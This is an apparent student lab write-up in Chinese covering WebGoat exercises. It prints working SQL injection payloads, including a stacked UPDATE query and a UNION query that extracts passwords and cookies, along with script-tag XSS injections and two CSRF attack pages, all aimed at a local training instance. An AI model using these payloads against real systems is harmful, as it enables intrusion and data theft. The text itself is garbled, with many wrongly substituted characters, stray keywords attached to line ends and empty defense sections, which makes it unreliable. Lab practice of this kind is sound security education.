本实践的目标是理解经常使用网络攻击技术的基本原理,作很多于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。html
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
在浏览器中输入 http://localhost:8080/WebGoat
进入登陆界面web
AND
优先于 OR
运算,因此前面部分不管是什么,最终都是一个0/1,只须要OR上一个true,最终就是true正则表达式
如 "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'"
,能够将 lastName
设为 ' order '1'='1
,这样数据库就会执行 SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '' or '1'='1'
,从而将整个表的内容暴露出来sql
''
包裹,因此更简单,直接传入相似 1 or 1=1
的参数;
号后面能够接一条新的 sql
语句,并执行咱们先在 Auth
一栏输入 '1 or '1' = '1
,发现能够查询出结果docker
那么存在 String injection
,也就是说 sql
语句中的参数是被 ''
号包裹的数据库
改变本身的工资,咱们须要使用 update
语句,而且由上一点可知咱们须要用 '
号结束上一个参数json
AUTH
一栏填入 3SL99A';update employees set salary=1000000 where last_name='Smith
c#
union
的使用sql
语句的 union
能够合并两个查询结果,有一个结果为空并不影响咱们得到另外一个结果这道题以下跨域
CREATE TABLE user_data (userid int not null, first_name varchar(20), last_name varchar(20), cc_number varchar(30), cc_type varchar(10), cookie varchar(20), login_count int);
CREATE TABLE user_system_data (userid int not null primary key, user_name varchar(12), password varchar(10), cookie varchar(30));
咱们须要经过上一个表联查出下一个表中的内容浏览器
可是两个表的列数并不同,因此咱们须要用 null
填充不够的列数
这道题咱们不知道任何的用户名,可是咱们能够经过
' union select userid, user_name, password, cookie, null, null, null from user_system_data --
来联查出表中数据
题目
点击 UpdateCart
按钮,能够看到 信用卡号
被写到了页面上
能够猜到这里存在 xss
,输入 <script>alert("20175210")</script>
,提交
F12
打开控制台,刷新页面,咱们能够看到初始化路由的信息
点击右边的 GoatRouter.js
,查看初始化路由的代码
咱们能够发现一段路由匹配的代码
能够看到,lesson/:name/:pageNum
正匹配咱们当前页面的路由 lesson/CrossSiteScripting.lesson/9
,那么,咱们能够猜想,test/:param
匹配的是测试代码
再加上“根路由” start.mvc#
,能够获得结果,start.mvc#/test
webgoat
函数题目提示利用上一题的结果,咱们先试一试上一题的测试路由
能够看到直接回显到页面上了,所以能够考虑用 <script></script>
标签包裹
使用 <script>webgoat.customjs.phoneHome()</script>
,可是没有获得任何结果!
查看页面元素,我发现此时并无向页面插入任何内容,我也不清楚是为何
我开始各类猜,最后发现使用不闭合的 <script>
成功执行
使用 <script>webgoat.customjs.phoneHome()
控制台中输出咱们想要的随机数,提交
题目是让咱们向 /csrf/feedback/message
这个地址 post
一个 json
格式的信息
然而,Content-Type
的值为 application/json
时存在跨域请求的问题,服务器只会接收来自相同域名的请求。咱们能够尝试下面的脚本:
<html> <body> <script > fetch("http://localhost:8080/WebGoat/csrf/feedback/message", { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: {'name': 'WebGoat', 'email': 'webgoat@webgoat.org', 'content': 'WebGoat is the best!!'} }); </script> </html>
服务器会报 ‘Cross-Origin Request Blocked’
错误
因此,咱们须要把 json data
转为 text data
,发起简单请求 (application/x-www-form-urlencoded、multipart/form-data、text/plain
)
使用如下脚本:
<html> <body> <form action=http://localhost:8000/WebGoat/csrf/feedback/message method=post enctype="text/plain" > <input name= ' {"name": "WebGoat", "email": "webgoat@webgoat.org", "content": "WebGoat is the best!!", "ignore_me":" ' value='test"}' type='hidden'> <input type='submit' value='Submit'> </form> </body> </html>
将 json
数据做为 文本数据
传给服务器,获得结果
原理: 经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
防护:
原理: XSS 攻击,一般指黑客经过 HTML 注入 篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击行为。在这种行为最初出现之时,全部的演示案例全是跨域行为,因此叫作 "跨站脚本"
防护:
原理: CSRF(Cross site request forgery),即跨站请求伪造。咱们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来得到其cookie等信息。而CSRF确实,借用用户的身份,向web server发送请求,由于该请求不是用户本意,因此称为“跨站请求伪造”。
防护:
对 CSRF
有了更深的理解